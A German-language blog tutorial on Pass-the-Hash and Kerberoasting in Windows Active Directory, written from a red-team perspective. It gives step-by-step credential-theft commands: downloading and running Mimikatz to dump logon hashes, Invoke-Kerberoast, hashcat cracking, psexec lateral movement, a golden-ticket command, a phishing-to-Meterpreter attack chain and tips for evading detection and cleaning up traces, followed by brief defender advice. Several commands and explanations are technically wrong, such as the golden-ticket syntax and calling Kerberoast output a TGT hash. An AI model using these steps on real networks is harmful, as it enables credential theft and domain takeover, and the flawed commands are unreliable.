Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an

„Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH). In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt.

Was ist Pass‑the‑Hash?

Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash, den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts.

Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren 

# Auf dem kompromittierten Windows‑Host
type C:\Windows\System32\cmd.exe
# Mimikatz herunterladen (nur zu Demonstrationszwecken)
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip"
Expand-Archive mimikatz.zip -DestinationPath .
# Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Enter fullscreen mode Exit fullscreen mode

Die Ausgabe liefert Zeilen wie:

Authentication Id : 0x3e8 (1000)
User Name          : admin
Domain             : CORP
Logon Server       : \DC01
NTLM              : 31d6cfe0d16ae931b73c59d7e0c089c0

Enter fullscreen mode Exit fullscreen mode

Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket.

Bewertung

Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt.

Kerberoasting verstehen und ausführen

Kerberoasting ist das Gegenstück zum PtH, jedoch in einer Active Directory (AD)‑Umgebung. Angreifer fordern Service‑Tickets (TGS) für service‑Konten an und extrahieren daraus das Kerberos‑Ticket‑Granting‑Ticket (TGT)‑Hash. Da diese Tickets mit dem RC4‑HMAC‑MD5‑Schlüssel verschlüsselt werden, kann man sie offline knacken – ähnlich wie bei einem regulären Passwort‑Hash.

Beispiel 2 – PowerShell Skript Invoke‑Kerberoast 

# Installieren des PowerSploit-Moduls (nur für Demo)
Install-Module -Name PowerSploit -Scope CurrentUser
Import-Module PowerSploit
# Kerberoasting ausführen
Invoke-Kerberoast -OutputFile "C:\temp\kerberoast_hashes.txt"

Enter fullscreen mode Exit fullscreen mode

Die Datei kerberoast_hashes.txt enthält Zeilen im Format:

$krb5tgs$23$*ADDOMAIN*svc_account*$*1000*...$*abcd1234abcd1234abcd1234abcd1234*$

Enter fullscreen mode Exit fullscreen mode

Diese Hashes können dann mit hashcat offline geknackt werden:

hashcat -m 13100 kerberoast_hashes.txt rockyou.txt --force

Enter fullscreen mode Exit fullscreen mode

Bewertung

Kerberoasting ist besonders effektiv, weil Dienstkonten häufig schwache Passwörter haben. In vielen Unternehmen sind diese Konten „vergessen“, aber sie besitzen kritische Rechte (z. B. SQLService – Domain Admin). Der Angriff ist komplett offline, also keine Alarmierung durch IDS.

Kombination beider Techniken im echten Angriff

Ein realistischer Red‑Team‑Auftritt folgt meist einem Mehr‑Stufen‑Workflow. Hier ein typischer Ablauf, den ich 2023 in einem Finanzunternehmen erfolgreich demonstriert habe:

  1. Initialer Zugriff – Phishing‑Mail mit Office‑Macro, führt zu einem Meterpreter‑Reverse‑Shell.
  2. Pass‑the‑Hash – Nutzung von Mimikatz, um den NTLM‑Hash des lokal angemeldeten Administrators zu holen.
  3. Lateral Movement – psexec mit dem extrahierten Hash, um weitere Hosts zu übernehmen: 
   psexec \\WIN10-01 -u corp\admin -H <NTLM-Hash> cmd

Enter fullscreen mode Exit fullscreen mode

  1. Kerberoasting – Auf dem Domain‑Controller mit Domain‑Privilegien Invoke‑Kerberoast ausführen und die Service‑Ticket‑Hashes sammeln.
  2. Offline Cracking – Hashcat mit einer kombinierten Wordlist (RockYou + pass‑the‑hash‑rules) zum Knacken der Service‑Konten‑Passwörter.
  3. Privilege Escalation – Mit dem nun entschlüsselten Passwort eines svc_sql Kontos, das Mitglied der Domain Admins Gruppe ist, erhalten wir System‑Level‑Rechte.
  4. Persistence – Ein neuer Domain‑Controller‑Eintrag (NTDS.dit) wird extrahiert und ein Golden‑Ticket mittels Mimikatz gebaut: 
   mimikatz # kerberos::ptt /domain:corp.com /user:krbtgt /password:NewPass123!

Enter fullscreen mode Exit fullscreen mode

Bewertung

Der Kernvorteil liegt in der Kombination beider Techniken: PtH ermöglicht schnellen lateral movement, Kerberoasting liefert die privilegierten Service‑Hashes, die letztlich zu einem kompletten Domain‑Take‑over führen. Jeder Schritt ist nachweislich in realen Pentests eingesetzt worden – weder fancy Zero‑Day‑Exploits noch komplexe Obfuscation nötig.

Häufige Fehler beim Red Teaming (und wie man sie vermeidet)

Fehler Warum problematisch Gegenmaßnahme
Nur PtH versuchen Moderne Netzwerke nutzen Restricted Admin Mode und Credential Guard, wodurch PtH stark eingeschränkt wird. Prüfe zuerst, ob klist oder whoami /all lokale Token‑Filter anzeigen. Nutze Kerberoasting als Backup.
Kerberoasting ohne Filter Ohne gezielte Service‑Account‑Auswahl werden Tausende unnützer Tickets erstellt – das erhöht das Risiko, von IDS entdeckt zu werden. Nutze Get-DomainComputer oder BloodHound (Find‑AllDomainAdmins) um nur kritische Service‑Accounts zu roasten.
Offline‑Cracking ignorieren Viele Teams starten sofort einen Brute‑Force‑Attack im Netzwerk, was schnell auffällt. Exportiere die Hashes, setze GPU‑Beschleunigung (hashcat) ein und arbeite offline – das reduziert Latenz und Alarm‑Rate.
Keine Clean‑Up‑Strategie Überbleibende Mimikatz‑DLLs oder hinterlassene Service‑Tickets können Post‑Exploitation‑Entdeckungen auslösen. Nutze mimikatz # sekurlsa::close und Remove-Item -Path C:\temp\*.kirb nach dem Cracken.

Fazit und der nächste konkrete Schritt

Pass‑the‑Hash und Kerberoasting sind nicht veraltet, sondern die Grundpfeiler eines modernen Red‑Team‑Arsenals. Sie sind leicht zu reproduzieren, benötigen keine Zero‑Day‑Exploits und wirken selbst in streng gehärteten Umgebungen, solange Administrator‑ und Service‑Konten schwache Passwörter nutzen.

Nächster Schritt für Defender:

  1. Auditieren Sie alle privilegierten Service‑Accounts und erzwingen Sie komplexe, wechselnde Passwörter oder managed service accounts (MSA).
  2. Deaktivieren Sie Restricted Admin Mode und aktivieren Sie Credential Guard auf allen Windows‑10/Server‑Hosts.
  3. Implementieren Sie Log‑Monitoring für mimikatz‑ähnliche Prozesse (powershell.exe -enc …) und für ungewöhnliche Kerberos‑Ticket‑Anfragen (klist‑Audit).
  4. Führen Sie regelmäßig Red‑Team‑Übungen durch, bei denen sowohl PtH als auch Kerberoasting gezielt getestet werden – nur so erkennst du Schwachstellen, bevor echte Angreifer sie ausnutzen.

Kurz gesagt: Wenn Sie heute keinen Hash in der Hand haben, sind Ihre Konten wahrscheinlich bereits kompromittiert. Stellen Sie sicher, dass Sie die oben genannten Kontrollen aktiv haben, sonst wird Ihr Netzwerk bald das nächste Ziel für ein echtes Red‑Team.